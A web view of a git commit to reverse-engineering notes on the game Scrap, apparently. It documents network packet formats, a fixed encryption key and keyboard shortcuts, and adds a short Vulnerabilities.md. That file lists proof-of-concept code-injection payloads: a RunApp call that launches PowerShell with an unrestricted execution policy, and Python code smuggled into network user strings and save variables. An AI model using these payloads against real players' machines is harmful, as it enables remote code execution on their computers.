2023-05-13 15:59:08: Add keyboard shortcuts
This commit is contained in:
		
							parent
							
								
									4c606da971
								
							
						
					
					
						commit
						25fef21c58
					
				
					 5 changed files with 47 additions and 12 deletions
				
			
		|  | @ -1,4 +1,4 @@ | ||||||
| # Encryption (v1.1) | # Encryption  (v1.1) | ||||||
| 
 | 
 | ||||||
| Fixed Key: `020406080a0c0e10121416181a1c1e20222426282a2c2e30323436383a3c3e40` | Fixed Key: `020406080a0c0e10121416181a1c1e20222426282a2c2e30323436383a3c3e40` | ||||||
| Packet Structure: | Packet Structure: | ||||||
|  |  | ||||||
|  | @ -92,7 +92,7 @@ Structure: | ||||||
| struct NetValue { | struct NetValue { | ||||||
|     le u16 entity_index; |     le u16 entity_index; | ||||||
|     u8 entity_type; |     u8 entity_type; | ||||||
|     char data[?]; // length depends on entity type |     char data[?]; // variable length | ||||||
| }; | }; | ||||||
| 
 | 
 | ||||||
| struct NetData { | struct NetData { | ||||||
|  | @ -134,17 +134,33 @@ Packets are split into Data packets (map change, resources, chat message, etc) a | ||||||
| - 20: Box:vAim | - 20: Box:vAim | ||||||
| - 21: Box:vSpd | - 21: Box:vSpd | ||||||
| 
 | 
 | ||||||
| ## Server->Client Packet Types | 
 | ||||||
|  | ## Client->Server (`cClientNetManager`) Packet Types | ||||||
| 
 | 
 | ||||||
| - 00: Player Join | - 00: Player Join | ||||||
|  | 	- u16: NET_GAME_ID (`0xbace`) | ||||||
|  | 	- u16: NET_GAME_VERSION (`0x101`) | ||||||
|  | 	- str: ServerPassword | ||||||
|  | 	- str: PlayerName | ||||||
|  | 	- str: ShipModelName | ||||||
|  | 	- u16: ShipHealth | ||||||
|  | 	- str: PilotModel | ||||||
|  | 	- str\[4]: EngineModels | ||||||
|  | 	- str: Loadout | ||||||
|  | 	- u32: TeamNumber | ||||||
|  | - 06: Player Modify | ||||||
|  | 	- Same as 00: Player Join | ||||||
| - 02: Disconnect | - 02: Disconnect | ||||||
| - 03: Chat String | - 03: Chat String | ||||||
|  | 	- str: ChatString | ||||||
| - 04: Usr String | - 04: Usr String | ||||||
|  | 	- str: UsrString | ||||||
| - 05: Unk (Keepalive?) | - 05: Unk (Keepalive?) | ||||||
| - 06: Player Modify |  | ||||||
| - 08: Remote command | - 08: Remote command | ||||||
|  | 	- str: ServerRemotePassword | ||||||
|  | 	- str: Command | ||||||
| 
 | 
 | ||||||
| ## Client->Server Packet types | ## Server->Client (`cServerNetManager`) Packet types | ||||||
| 
 | 
 | ||||||
| - 00: Map Change: | - 00: Map Change: | ||||||
|   - str map_name |   - str map_name | ||||||
|  | @ -153,27 +169,27 @@ Packets are split into Data packets (map change, resources, chat message, etc) a | ||||||
| - 01: Resource: | - 01: Resource: | ||||||
|   - u16: resource_index |   - u16: resource_index | ||||||
|   - u16: unk |   - u16: unk | ||||||
|   - [str: resource_name] repeated num_resources times |   - str[]: resource_name  | ||||||
| 
 | 
 | ||||||
| - 02: Unknown (Keepalive?) | - 02: Unknown (Keepalive?) | ||||||
| 
 | 
 | ||||||
| - 03: ChatMessage | - 03: ChatMessage | ||||||
|   - str: message |   - str: ChatStr | ||||||
| 
 | 
 | ||||||
| - 04: UsrString: | - 04: UsrString: | ||||||
|   - str: data |   - str: UsrStr | ||||||
| 
 | 
 | ||||||
| - 05: Player join: | - 05: Player join: | ||||||
|   - u8: player_id |   - u8: player_id | ||||||
|   - str: player_name |   - str: player_name | ||||||
|   - str: ship_model |   - str: ship_model | ||||||
|   - u16: max_health |   - u16: max_health | ||||||
|   - str[4]: engine_models |   - str\[4]: engine_models | ||||||
|   - str: pilot_model |   - str: pilot_model | ||||||
|   - str: loadout |   - str: loadout | ||||||
|   - u32: unknown |   - u32: team_number | ||||||
| 
 | 
 | ||||||
| - 06: unknown | - 06: unknown | ||||||
|   - u8: ent_index |   - u8: ent_index | ||||||
| 
 | 
 | ||||||
| - 07: unknown (reload?) | - 07: unknown (restart?) | ||||||
|  | @ -5,7 +5,7 @@ | ||||||
|     - [Engine Variables](./Variables.md) |     - [Engine Variables](./Variables.md) | ||||||
|     - [Classes](./Classes.md) |     - [Classes](./Classes.md) | ||||||
|       - [World](./World.md) |       - [World](./World.md) | ||||||
|     - [Netplay](./Netplay/Netplay.md) |     - [Netplay](Netplay.md) | ||||||
|     - [Python API](./Python_API.md) |     - [Python API](./Python_API.md) | ||||||
|       - [Modules](./Python_Modules.md) |       - [Modules](./Python_Modules.md) | ||||||
|       - [Callbacks](./Callbacks.md) |       - [Callbacks](./Callbacks.md) | ||||||
|  |  | ||||||
|  | @ -70,6 +70,21 @@ Checked in `0x00401180` | ||||||
|   * `idiota` |   * `idiota` | ||||||
|   * `capullo` |   * `capullo` | ||||||
| 
 | 
 | ||||||
|  | ## Keyboard Shortcuts | ||||||
|  | 
 | ||||||
|  | Resource ID 200 (0xc8) | ||||||
|  | 
 | ||||||
|  | Shift+Esc: Exit game | ||||||
|  | Ctrl+Alt+Shift+F10: Change graphics device | ||||||
|  | Ctrl+F11: Focus Console Window | ||||||
|  | F10: Pause game | ||||||
|  | F12: Nothing? | ||||||
|  | Ctrl+F12: Show FPS | ||||||
|  | Ctrl+Alt+Shift+F7: Wireframe | ||||||
|  | Ctrl+Alt+Shift+F8: Texture Filtering Mode | ||||||
|  | Ctrl+Alt+Shift+F9: Cycle Rendering Info | ||||||
|  | Ctrl+Alt+Shift+Enter: Toggle fullscreen | ||||||
|  | 
 | ||||||
| ## Window Messages | ## Window Messages | ||||||
| 
 | 
 | ||||||
| **TODO** | **TODO** | ||||||
|  |  | ||||||
							
								
								
									
										4
									
								
								Vulnerabilities.md
									
										
									
									
									
										Normal file
									
								
							
							
						
						
									
										4
									
								
								Vulnerabilities.md
									
										
									
									
									
										Normal file
									
								
							|  | @ -0,0 +1,4 @@ | ||||||
|  | 
 | ||||||
|  | - `Scrap.RunApp("C:/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.EXE",'-NoProfile -ExecutionPolicy Unrestricted -Command "dir | out-file pwned.txt"')` | ||||||
|  | - `SNet.SendUsrString(<id>,"T<PythonCode>"` | ||||||
|  | - `Scrap.SetSaveVar("GameplayTime","<pythoncode>")` | ||||||
		Loading…
	
	Add table
		Add a link
		
	
		Reference in a new issue